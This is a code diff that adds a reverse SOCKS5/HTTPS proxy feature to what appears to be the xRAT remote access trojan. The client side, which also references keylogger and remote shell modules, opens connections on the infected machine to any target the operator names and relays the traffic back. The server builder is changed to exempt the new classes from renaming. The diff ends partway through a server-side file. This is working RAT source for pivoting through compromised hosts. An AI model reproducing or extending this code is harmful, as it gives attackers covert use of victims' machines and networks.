diff --git a/Client/Client.csproj b/Client/Client.csproj
index 4389f566..5d7d6ca8 100644
--- a/Client/Client.csproj
+++ b/Client/Client.csproj
@@ -105,6 +105,12 @@
+
+
+
+
+
+
@@ -221,6 +227,7 @@
True
+
copy "$(TargetPath)" "$(TargetDir)client.bin" /Y
diff --git a/Client/Core/Client.cs b/Client/Core/Client.cs
index aa71a346..cb36b8fa 100644
--- a/Client/Core/Client.cs
+++ b/Client/Core/Client.cs
@@ -9,6 +9,9 @@ using xClient.Core.Compression;
using xClient.Core.Encryption;
using xClient.Core.Extensions;
using xClient.Core.Packets;
+using xClient.Core.ReverseProxy.Packets;
+using System.Collections.Generic;
+using xClient.Core.ReverseProxy;
namespace xClient.Core
{
@@ -71,6 +74,13 @@ namespace xClient.Core
Payload
}
+ private List _proxyClients;
+
+ public ReverseProxyClient[] ProxyClients
+ {
+ get { return _proxyClients.ToArray(); }
+ }
+
public const uint KEEP_ALIVE_TIME = 25000;
public const uint KEEP_ALIVE_INTERVAL = 25000;
@@ -128,6 +138,7 @@ namespace xClient.Core
private void Initialize()
{
AddTypeToSerializer(typeof (IPacket), typeof (UnknownPacket));
+ _proxyClients = new List();
}
private void AsyncReceive(IAsyncResult result)
@@ -297,6 +308,14 @@ namespace xClient.Core
_readableDataLen = 0;
_payloadLen = 0;
+ if(_proxyClients != null)
+ {
+ lock(_proxyClients)
+ {
+ foreach (ReverseProxyClient proxy in _proxyClients)
+ proxy.Disconnect();
+ }
+ }
Commands.CommandHandler.StreamCodec = null;
}
}
@@ -325,5 +344,45 @@ namespace xClient.Core
foreach (Type type in types)
AddTypeToSerializer(parent, type);
}
+
+ public void ConnectReverseProxy(ReverseProxyConnect Command)
+ {
+ lock (_proxyClients)
+ {
+ _proxyClients.Add(new ReverseProxyClient(Command, this));
+ }
+ }
+
+ public ReverseProxyClient GetReverseProxyByConnectionId(int ConnectionId)
+ {
+ lock (_proxyClients)
+ {
+ for (int i = 0; i < _proxyClients.Count; i++)
+ {
+ if (_proxyClients[i].ConnectionId == ConnectionId)
+ return _proxyClients[i];
+ }
+ return null;
+ }
+ }
+
+ public void RemoveProxyClient(int ConnectionId)
+ {
+ try
+ {
+ lock (_proxyClients)
+ {
+ for (int i = 0; i < _proxyClients.Count; i++)
+ {
+ if (_proxyClients[i].ConnectionId == ConnectionId)
+ {
+ _proxyClients.RemoveAt(i);
+ break;
+ }
+ }
+ }
+ }
+ catch { }
+ }
}
}
\ No newline at end of file
diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs
new file mode 100644
index 00000000..7f145f65
--- /dev/null
+++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs
@@ -0,0 +1,34 @@
+using ProtoBuf;
+using xClient.Core.Packets;
+
+namespace xClient.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyConnect : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public string Target { get; set; }
+
+ [ProtoMember(3)]
+ public int Port { get; set; }
+
+ public ReverseProxyConnect()
+ {
+ }
+
+ public ReverseProxyConnect(int connectionId, string target, int port)
+ {
+ this.ConnectionId = connectionId;
+ this.Target = target;
+ this.Port = port;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs
new file mode 100644
index 00000000..786bbfda
--- /dev/null
+++ b/Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs
@@ -0,0 +1,38 @@
+using ProtoBuf;
+using xClient.Core.Packets;
+
+namespace xClient.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyConnectResponse : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public bool IsConnected { get; set; }
+
+ [ProtoMember(3)]
+ public long LocalEndPoint { get; set; }
+
+ [ProtoMember(4)]
+ public int LocalPort { get; set; }
+
+ public ReverseProxyConnectResponse()
+ {
+ }
+
+ public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort)
+ {
+ this.ConnectionId = connectionId;
+ this.IsConnected = isConnected;
+ this.LocalEndPoint = localEndPoint;
+ this.LocalPort = localPort;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs
new file mode 100644
index 00000000..ba7d7c6c
--- /dev/null
+++ b/Client/Core/ReverseProxy/Packets/ReverseProxyData.cs
@@ -0,0 +1,30 @@
+using ProtoBuf;
+using xClient.Core.Packets;
+
+namespace xClient.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyData : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public byte[] Data { get; set; }
+
+ public ReverseProxyData()
+ {
+ }
+
+ public ReverseProxyData(int connectionId, byte[] data)
+ {
+ this.ConnectionId = connectionId;
+ this.Data = data;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs
new file mode 100644
index 00000000..41b355da
--- /dev/null
+++ b/Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs
@@ -0,0 +1,26 @@
+using ProtoBuf;
+using xClient.Core.Packets;
+
+namespace xClient.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyDisconnect : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ public ReverseProxyDisconnect(int connectionId)
+ {
+ this.ConnectionId = connectionId;
+ }
+
+ public ReverseProxyDisconnect()
+ {
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Client/Core/ReverseProxy/ReverseProxyClient.cs b/Client/Core/ReverseProxy/ReverseProxyClient.cs
new file mode 100644
index 00000000..d7cea7da
--- /dev/null
+++ b/Client/Core/ReverseProxy/ReverseProxyClient.cs
@@ -0,0 +1,124 @@
+using System;
+using System.Net;
+using System.Net.Sockets;
+using xClient.Core.ReverseProxy.Packets;
+
+namespace xClient.Core.ReverseProxy
+{
+ public class ReverseProxyClient
+ {
+ public const int BUFFER_SIZE = 8192;
+
+ public int ConnectionId { get; private set; }
+ public Socket Handle { get; private set; }
+ public string Target { get; private set; }
+ public int Port { get; private set; }
+ public Client Client { get; private set; }
+ private byte[] _buffer;
+ private bool _disconnectIsSend;
+
+ public ReverseProxyClient(ReverseProxyConnect command, Client client)
+ {
+ this.ConnectionId = command.ConnectionId;
+ this.Target = command.Target;
+ this.Port = command.Port;
+ this.Client = client;
+ this.Handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
+
+ //Non-Blocking connect, so there is no need for a extra thread to create
+ this.Handle.BeginConnect(command.Target, command.Port, Handle_Connect, null);
+ }
+
+ private void Handle_Connect(IAsyncResult ar)
+ {
+ try
+ {
+ this.Handle.EndConnect(ar);
+ }
+ catch { }
+
+ if (this.Handle.Connected)
+ {
+ try
+ {
+ this._buffer = new byte[BUFFER_SIZE];
+ this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, Handle_BeginReceive, null);
+ }
+ catch
+ {
+ new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client);
+ Disconnect();
+ }
+
+ IPEndPoint localEndPoint = (IPEndPoint)this.Handle.LocalEndPoint;
+ new ReverseProxyConnectResponse(ConnectionId, true, localEndPoint.Address.Address, localEndPoint.Port).Execute(Client);
+ }
+ else
+ {
+ new ReverseProxyConnectResponse(ConnectionId, false, 0, 0).Execute(Client);
+ }
+ }
+
+ private void Handle_BeginReceive(IAsyncResult ar)
+ {
+ //Receive here data from e.g. a WebServer
+
+ try
+ {
+ int received = Handle.EndReceive(ar);
+
+ if (received <= 0)
+ {
+ Disconnect();
+ return;
+ }
+
+ byte[] payload = new byte[received];
+ Array.Copy(_buffer, payload, received);
+ new ReverseProxyData(this.ConnectionId, payload).Execute(Client);
+ }
+ catch
+ {
+ Disconnect();
+ return;
+ }
+
+ try
+ {
+ this.Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, Handle_BeginReceive, null);
+ }
+ catch
+ {
+ Disconnect();
+ return;
+ }
+ }
+
+ public void Disconnect()
+ {
+ if (!_disconnectIsSend)
+ {
+ _disconnectIsSend = true;
+ //send to the Server we've been disconnected
+ new ReverseProxyDisconnect(this.ConnectionId).Execute(Client);
+ }
+
+ try
+ {
+ Handle.Close();
+ }
+ catch { }
+
+ Client.RemoveProxyClient(this.ConnectionId);
+ }
+
+ public void SendToTargetServer(byte[] data)
+ {
+ try
+ {
+ Handle.Send(data);
+ }
+ catch { Disconnect(); }
+ }
+ }
+}
diff --git a/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs
new file mode 100644
index 00000000..0c5a9488
--- /dev/null
+++ b/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs
@@ -0,0 +1,38 @@
+using xClient.Core.Packets;
+using xClient.Core.ReverseProxy.Packets;
+
+namespace xClient.Core.ReverseProxy
+{
+ public class ReverseProxyCommandHandler
+ {
+ public static void HandleCommand(Client client, IPacket packet)
+ {
+ var type = packet.GetType();
+
+ if (type == typeof (ReverseProxyConnect))
+ {
+ client.ConnectReverseProxy((ReverseProxyConnect) packet);
+ }
+ else if (type == typeof (ReverseProxyData))
+ {
+ ReverseProxyData dataCommand = (ReverseProxyData)packet;
+ ReverseProxyClient proxyClient = client.GetReverseProxyByConnectionId(dataCommand.ConnectionId);
+
+ if (proxyClient != null)
+ {
+ proxyClient.SendToTargetServer(dataCommand.Data);
+ }
+ }
+ else if (type == typeof (ReverseProxyDisconnect))
+ {
+ ReverseProxyDisconnect disconnectCommand = (ReverseProxyDisconnect)packet;
+ ReverseProxyClient socksClient = client.GetReverseProxyByConnectionId(disconnectCommand.ConnectionId);
+
+ if (socksClient != null)
+ {
+ socksClient.Disconnect();
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Client/Program.cs b/Client/Program.cs
index a82777ea..7f4089f0 100644
--- a/Client/Program.cs
+++ b/Client/Program.cs
@@ -7,6 +7,7 @@ using xClient.Core;
using xClient.Core.Commands;
using xClient.Core.Keylogger;
using xClient.Core.Packets;
+using xClient.Core.ReverseProxy;
namespace xClient
{
@@ -89,7 +90,11 @@ namespace xClient
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
- typeof (Core.Packets.ClientPackets.GetLogsResponse)
+ typeof (Core.Packets.ClientPackets.GetLogsResponse),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyConnect),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyConnectResponse),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyData),
+ typeof (Core.ReverseProxy.Packets.ReverseProxyDisconnect)
});
ConnectClient.ClientState += ClientState;
@@ -321,7 +326,14 @@ namespace xClient
}
else if (type == typeof(Core.Packets.ServerPackets.GetLogs))
{
- CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client);
+ CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client);
+ }
+ else if (type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnect) ||
+ type == typeof(Core.ReverseProxy.Packets.ReverseProxyConnectResponse) ||
+ type == typeof(Core.ReverseProxy.Packets.ReverseProxyData) ||
+ type == typeof(Core.ReverseProxy.Packets.ReverseProxyDisconnect))
+ {
+ ReverseProxyCommandHandler.HandleCommand(client, packet);
}
}
}
diff --git a/Server/Core/Build/ClientBuilder.cs b/Server/Core/Build/ClientBuilder.cs
index 13106290..69fd72af 100644
--- a/Server/Core/Build/ClientBuilder.cs
+++ b/Server/Core/Build/ClientBuilder.cs
@@ -145,6 +145,7 @@ namespace xServer.Core.Build
// PHASE 2 - Renaming
Renamer r = new Renamer(asmDef);
+
if (!r.Perform())
throw new Exception("renaming failed");
diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs
index 5ee961f7..51f30cbb 100644
--- a/Server/Core/Build/Renamer.cs
+++ b/Server/Core/Build/Renamer.cs
@@ -60,7 +60,8 @@ namespace xServer.Core.Build
{
if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") ||
typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" ||
- typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf"))
+ typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf") ||
+ typeDef.Namespace.Contains("xClient.Core.ReverseProxy"))
return;
TypeOverloader.GiveName(typeDef);
diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs
new file mode 100644
index 00000000..e528bc37
--- /dev/null
+++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs
@@ -0,0 +1,34 @@
+using ProtoBuf;
+using xServer.Core.Packets;
+
+namespace xServer.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyConnect : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public string Target { get; set; }
+
+ [ProtoMember(3)]
+ public int Port { get; set; }
+
+ public ReverseProxyConnect()
+ {
+ }
+
+ public ReverseProxyConnect(int connectionId, string target, int port)
+ {
+ this.ConnectionId = connectionId;
+ this.Target = target;
+ this.Port = port;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs
new file mode 100644
index 00000000..296d4ded
--- /dev/null
+++ b/Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs
@@ -0,0 +1,38 @@
+using ProtoBuf;
+using xServer.Core.Packets;
+
+namespace xServer.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyConnectResponse : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public bool IsConnected { get; set; }
+
+ [ProtoMember(3)]
+ public long LocalEndPoint { get; set; }
+
+ [ProtoMember(4)]
+ public int LocalPort { get; set; }
+
+ public ReverseProxyConnectResponse()
+ {
+ }
+
+ public ReverseProxyConnectResponse(int connectionId, bool isConnected, long localEndPoint, int localPort)
+ {
+ this.ConnectionId = connectionId;
+ this.IsConnected = isConnected;
+ this.LocalEndPoint = localEndPoint;
+ this.LocalPort = localPort;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs
new file mode 100644
index 00000000..6306dc95
--- /dev/null
+++ b/Server/Core/ReverseProxy/Packets/ReverseProxyData.cs
@@ -0,0 +1,30 @@
+using ProtoBuf;
+using xServer.Core.Packets;
+
+namespace xServer.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyData : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ [ProtoMember(2)]
+ public byte[] Data { get; set; }
+
+ public ReverseProxyData()
+ {
+ }
+
+ public ReverseProxyData(int connectionId, byte[] data)
+ {
+ this.ConnectionId = connectionId;
+ this.Data = data;
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs
new file mode 100644
index 00000000..5096eec8
--- /dev/null
+++ b/Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs
@@ -0,0 +1,26 @@
+using ProtoBuf;
+using xServer.Core.Packets;
+
+namespace xServer.Core.ReverseProxy.Packets
+{
+ [ProtoContract]
+ public class ReverseProxyDisconnect : IPacket
+ {
+ [ProtoMember(1)]
+ public int ConnectionId { get; set; }
+
+ public ReverseProxyDisconnect(int connectionId)
+ {
+ this.ConnectionId = connectionId;
+ }
+
+ public ReverseProxyDisconnect()
+ {
+ }
+
+ public void Execute(Client client)
+ {
+ client.Send(this);
+ }
+ }
+}
diff --git a/Server/Core/ReverseProxy/ReverseProxyClient.cs b/Server/Core/ReverseProxy/ReverseProxyClient.cs
new file mode 100644
index 00000000..b00300c0
--- /dev/null
+++ b/Server/Core/ReverseProxy/ReverseProxyClient.cs
@@ -0,0 +1,469 @@
+using System;
+using System.IO;
+using System.Net.Sockets;
+using System.Text;
+using System.Windows.Forms;
+using xServer.Core.ReverseProxy.Packets;
+
+namespace xServer.Core.ReverseProxy
+{
+ public class ReverseProxyClient
+ {
+ public enum ProxyType
+ {
+ Unknown,
+ Socks5,
+ HTTPS
+ };
+
+ public const int SOCKS5_DEFAULT_PORT = 3218;
+ public const byte SOCKS5_VERSION_NUMBER = 5;
+ public const byte SOCKS5_RESERVED = 0x00;
+ public const byte SOCKS5_AUTH_NUMBER_OF_AUTH_METHODS_SUPPORTED = 2;
+ public const byte SOCKS5_AUTH_METHOD_NO_AUTHENTICATION_REQUIRED = 0x00;
+ public const byte SOCKS5_AUTH_METHOD_GSSAPI = 0x01;
+ public const byte SOCKS5_AUTH_METHOD_USERNAME_PASSWORD = 0x02;
+ public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_BEGIN = 0x03;
+ public const byte SOCKS5_AUTH_METHOD_IANA_ASSIGNED_RANGE_END = 0x7f;
+ public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_BEGIN = 0x80;
+ public const byte SOCKS5_AUTH_METHOD_RESERVED_RANGE_END = 0xfe;
+ public const byte SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS = 0xff;
+ public const byte SOCKS5_CMD_REPLY_SUCCEEDED = 0x00;
+ public const byte SOCKS5_CMD_REPLY_GENERAL_SOCKS_SERVER_FAILURE = 0x01;
+ public const byte SOCKS5_CMD_REPLY_CONNECTION_NOT_ALLOWED_BY_RULESET = 0x02;
+ public const byte SOCKS5_CMD_REPLY_NETWORK_UNREACHABLE = 0x03;
+ public const byte SOCKS5_CMD_REPLY_HOST_UNREACHABLE = 0x04;
+ public const byte SOCKS5_CMD_REPLY_CONNECTION_REFUSED = 0x05;
+ public const byte SOCKS5_CMD_REPLY_TTL_EXPIRED = 0x06;
+ public const byte SOCKS5_CMD_REPLY_COMMAND_NOT_SUPPORTED = 0x07;
+ public const byte SOCKS5_CMD_REPLY_ADDRESS_TYPE_NOT_SUPPORTED = 0x08;
+ public const byte SOCKS5_ADDRTYPE_IPV4 = 0x01;
+ public const byte SOCKS5_ADDRTYPE_DOMAIN_NAME = 0x03;
+ public const byte SOCKS5_ADDRTYPE_IPV6 = 0x04;
+
+ //Make it higher for more performance if really required... probably not
+ //Making this number higher will aswell increase ram usage depending on the amount of connections (BUFFER_SIZE x Connections = ~Ram Usage)
+ public const int BUFFER_SIZE = 8192;
+
+ public Socket Handle { get; private set; }
+ public Client Client { get; private set; }
+ private bool _receivedConnResponse = false;
+
+ //Is used for the handshake, Non-Blocking
+ private MemoryStream _handshakeStream;
+
+ public long PacketsReceived { get; private set; }
+ public long PacketsSended { get; private set; }
+
+ public long LengthReceived { get; private set; }
+ public long LengthSended { get; private set; }
+
+ private byte[] _buffer;
+
+ public int ConnectionId
+ {
+ get { return Handle.Handle.ToInt32(); }
+ }
+
+ public string TargetServer { get; private set; }
+ public ushort TargetPort { get; private set; }
+ public bool IsConnected { get; private set; }
+
+ private bool _isBindCommand;
+ private bool _isUdpCommand;
+ private bool _isConnectCommand;
+ private bool _isIpType;
+ private bool _isIPv6NameType;
+ private bool _isDomainNameType;
+ private bool _disconnectIsSend;
+
+ public ProxyType Type { get; private set; }
+ private ReverseProxyServer Server;
+ public ListViewItem ListItem { get; set; }
+
+ public ReverseProxyClient(Client client, Socket socket, ReverseProxyServer server)
+ {
+ this.Handle = socket;
+ this.Client = client;
+ this._handshakeStream = new MemoryStream();
+ this._buffer = new byte[BUFFER_SIZE];
+ this.IsConnected = true;
+ this.TargetServer = "";
+ this.Type = ProxyType.Unknown;
+ this.Server = server;
+
+ try
+ {
+ socket.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_Receive, null);
+ }
+ catch
+ {
+ Disconnect();
+ }
+ }
+
+ private void socket_Receive(IAsyncResult ar)
+ {
+ try
+ {
+ int received = Handle.EndReceive(ar);
+
+ if (received <= 0)
+ {
+ Disconnect();
+ return;
+ }
+ if (received > 5000 || _handshakeStream.Length + received > 5000)
+ {
+ //attack prevention of overflowing the HandshakeStream
+ //It's really impossible for Socks or HTTPS proxies to use even 5000 for Initial Packets
+ Disconnect();
+ return;
+ }
+
+ LengthReceived += received;
+ _handshakeStream.Write(_buffer, 0, received);
+ }
+ catch
+ {
+ Disconnect();
+ return;
+ }
+
+ byte[] payload = _handshakeStream.ToArray();
+
+ switch (PacketsReceived)
+ {
+ case 0:
+ {
+ //initial Socks packet
+ if (payload.Length >= 3)
+ {
+ string headerStr = Encoding.ASCII.GetString(payload);
+
+ //check the proxy client
+ if (payload[0] == SOCKS5_VERSION_NUMBER)
+ {
+ Type = ProxyType.Socks5;
+ }
+ else if (headerStr.StartsWith("CONNECT") && headerStr.Contains(":"))
+ {
+ Type = ProxyType.HTTPS;
+
+ //Grab here the IP / PORT
+ using (StreamReader sr = new StreamReader(new MemoryStream(payload)))
+ {
+ string line = sr.ReadLine();
+ if (line == null)
+ break;
+
+ //could have done it better with RegEx... oh well
+ string[] split = line.Split(new string[] {" "}, StringSplitOptions.RemoveEmptyEntries);
+ if (split.Length > 0)
+ {
+ try
+ {
+ string ipPort = split[1];
+ this.TargetServer = ipPort.Split(':')[0];
+ this.TargetPort = ushort.Parse(ipPort.Split(':')[1]);
+
+ this._isConnectCommand = true;
+ this._isDomainNameType = true;
+
+ //Send Command to client and wait for response from CommandHandler
+ new ReverseProxyConnect(ConnectionId, this.TargetServer, this.TargetPort)
+ .Execute(Client);
+ Server.CallonConnectionEstablished(this);
+
+ return; //Quit receiving and wait for client's response
+ }
+ catch
+ {
+ Disconnect();
+ }
+ }
+ }
+ }
+ else
+ {
+ break;
+ }
+
+ if (CheckProxyVersion(payload))
+ {
+ SendSuccessToClient();
+ PacketsReceived++;
+ _handshakeStream.SetLength(0);
+ Server.CallonConnectionEstablished(this);
+ }
+ }
+ break;
+ }
+ case 1:
+ {
+ //Socks command
+ int MinPacketLen = 6;
+ if (payload.Length >= MinPacketLen)
+ {
+ if (!CheckProxyVersion(payload))
+ return;
+
+ this._isConnectCommand = payload[1] == 1;
+ this._isBindCommand = payload[1] == 2;
+ this._isUdpCommand = payload[1] == 3;
+
+ this._isIpType = payload[3] == 1;
+ this._isDomainNameType = payload[3] == 3;
+ this._isIPv6NameType = payload[3] == 4;
+
+ Array.Reverse(payload, payload.Length - 2, 2);
+ this.TargetPort = BitConverter.ToUInt16(payload, payload.Length - 2);
+
+ if (_isConnectCommand)
+ {
+ if (_isIpType)
+ {
+ this.TargetServer = payload[4] + "." + payload[5] + "." + payload[6] + "." + payload[7];
+ }
+ else if (_isDomainNameType)
+ {
+ int domainLen = payload[4];
+ if (MinPacketLen + domainLen < payload.Length)
+ {
+ this.TargetServer = Encoding.ASCII.GetString(payload, 5, domainLen);
+ }
+ }
+
+ if (this.TargetServer.Length > 0)
+ {
+ //Send Command to client and wait for response from CommandHandler
+ new ReverseProxyConnect(ConnectionId, this.TargetServer, this.TargetPort).Execute(Client);
+ }
+ }
+ else
+ {
+ SendFailToClient();
+ return;
+ }
+
+ Server.CallonUpdateConnection(this);
+
+ //Quit receiving data and wait for Client's response
+ return;
+ }
+ break;
+ }
+ }
+
+ try
+ {
+ Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_Receive, null);
+ }
+ catch
+ {
+ Disconnect();
+ }
+ }
+
+ public void Disconnect()
+ {
+ if (!_disconnectIsSend)
+ {
+ _disconnectIsSend = true;
+ //send to the Server we've been disconnected
+ new ReverseProxyDisconnect(this.ConnectionId).Execute(Client);
+ }
+
+ try
+ {
+ Handle.Close();
+ }
+ catch
+ {
+ }
+
+ IsConnected = false;
+ Server.CallonUpdateConnection(this);
+ }
+
+ ///
+ /// xRAT -> ProxyClient
+ ///
+ ///
+ public void SendToClient(byte[] payload)
+ {
+ lock (Handle)
+ {
+ try
+ {
+ LengthSended += payload.Length;
+ Handle.Send(payload);
+ }
+ catch
+ {
+ Disconnect();
+ }
+ }
+ Server.CallonUpdateConnection(this);
+ }
+
+ private void SendFailToClient()
+ {
+ if (Type == ProxyType.HTTPS)
+ Disconnect();
+
+ if (Type == ProxyType.Socks5)
+ {
+ SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_AUTH_METHOD_REPLY_NO_ACCEPTABLE_METHODS});
+ Disconnect();
+ }
+ }
+
+ private void SendSuccessToClient()
+ {
+ if (Type == ProxyType.Socks5)
+ SendToClient(new byte[] {SOCKS5_VERSION_NUMBER, SOCKS5_CMD_REPLY_SUCCEEDED});
+ }
+
+ private bool CheckProxyVersion(byte[] payload)
+ {
+ if (Type == ProxyType.HTTPS)
+ return true; //unable to check header... there is no header
+
+ if (payload.Length > 0 && payload[0] != SOCKS5_VERSION_NUMBER)
+ {
+ SendFailToClient();
+ Disconnect();
+ return false;
+ }
+ return true;
+ }
+
+ public void CommandResponse(ReverseProxyConnectResponse response)
+ {
+ //a small prevention for calling this method twice, not required... just incase
+ if (!_receivedConnResponse)
+ {
+ _receivedConnResponse = true;
+
+ if (response.IsConnected)
+ {
+ //tell the Proxy Client that we've established a connection
+
+ if (Type == ProxyType.HTTPS)
+ {
+ SendToClient(Encoding.ASCII.GetBytes("HTTP/1.0 200 Connection established\r\n\r\n"));
+ }
+ else if (Type == ProxyType.Socks5)
+ {
+ //Thanks to http://www.mentalis.org/soft/projects/proxy/ for the Maths
+ try
+ {
+ SendToClient(new byte[]
+ {
+ SOCKS5_VERSION_NUMBER,
+ SOCKS5_CMD_REPLY_SUCCEEDED,
+ SOCKS5_RESERVED,
+ 1, //static: it's always 1
+ (byte) (response.LocalEndPoint%256),
+ (byte) (Math.Floor((decimal) (response.LocalEndPoint%65536)/256)),
+ (byte) (Math.Floor((decimal) (response.LocalEndPoint%16777216)/65536)),
+ (byte) (Math.Floor((decimal) response.LocalEndPoint/16777216)),
+ (byte) (Math.Floor((decimal) response.LocalPort/256)),
+ (byte) (response.LocalPort%256)
+ });
+ }
+ catch
+ {
+ //just incase the math failed
+ //it will still show it's succesful
+ SendToClient(new byte[]
+ {
+ SOCKS5_VERSION_NUMBER,
+ SOCKS5_CMD_REPLY_SUCCEEDED,
+ SOCKS5_RESERVED,
+ 1, //static: it's always 1
+ 0, 0, 0, 0, //bind ip
+ 0, 0 //bind port
+ });
+ }
+ }
+
+ _handshakeStream.Close();
+
+ try
+ {
+ //start receiving data from the proxy
+ Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_ReceiveProxy, null);
+ }
+ catch
+ {
+ Disconnect();
+ }
+ }
+ else
+ {
+ if (Type == ProxyType.HTTPS)
+ {
+ Disconnect();
+ }
+ else if (Type == ProxyType.Socks5)
+ {
+ //send a connection fail packet
+ SendToClient(new byte[]
+ {
+ SOCKS5_VERSION_NUMBER,
+ SOCKS5_CMD_REPLY_CONNECTION_REFUSED,
+ SOCKS5_RESERVED,
+ 1, //static: it's always 1
+ 0, 0, 0, 0, //Bind Address
+ 0, 0 //Bind Port
+ });
+ }
+ }
+
+ Server.CallonUpdateConnection(this);
+ }
+ }
+
+ private void socket_ReceiveProxy(IAsyncResult ar)
+ {
+ try
+ {
+ int received = Handle.EndReceive(ar);
+
+ if (received <= 0)
+ {
+ Disconnect();
+ return;
+ }
+
+ LengthReceived += received;
+
+ byte[] payload = new byte[received];
+ Array.Copy(_buffer, payload, received);
+ new ReverseProxyData(this.ConnectionId, payload).Execute(Client);
+
+ LengthSended += payload.Length;
+ PacketsSended++;
+ }
+ catch
+ {
+ Disconnect();
+ return;
+ }
+
+ PacketsReceived++;
+
+ Server.CallonUpdateConnection(this);
+
+ try
+ {
+ Handle.BeginReceive(_buffer, 0, _buffer.Length, SocketFlags.None, socket_ReceiveProxy, null);
+ }
+ catch
+ {
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs
new file mode 100644
index 00000000..286eec19
--- /dev/null
+++ b/Server/Core/ReverseProxy/ReverseProxyCommandHandler.cs
@@ -0,0 +1,52 @@
+using System;
+using System.CodeDom;
+using System.Collections.Generic;
+using System.Text;
+using xServer.Core.Packets;
+using xServer.Core.ReverseProxy.Packets;
+
+namespace xServer.Core.ReverseProxy
+{
+ public class ReverseProxyCommandHandler
+ {
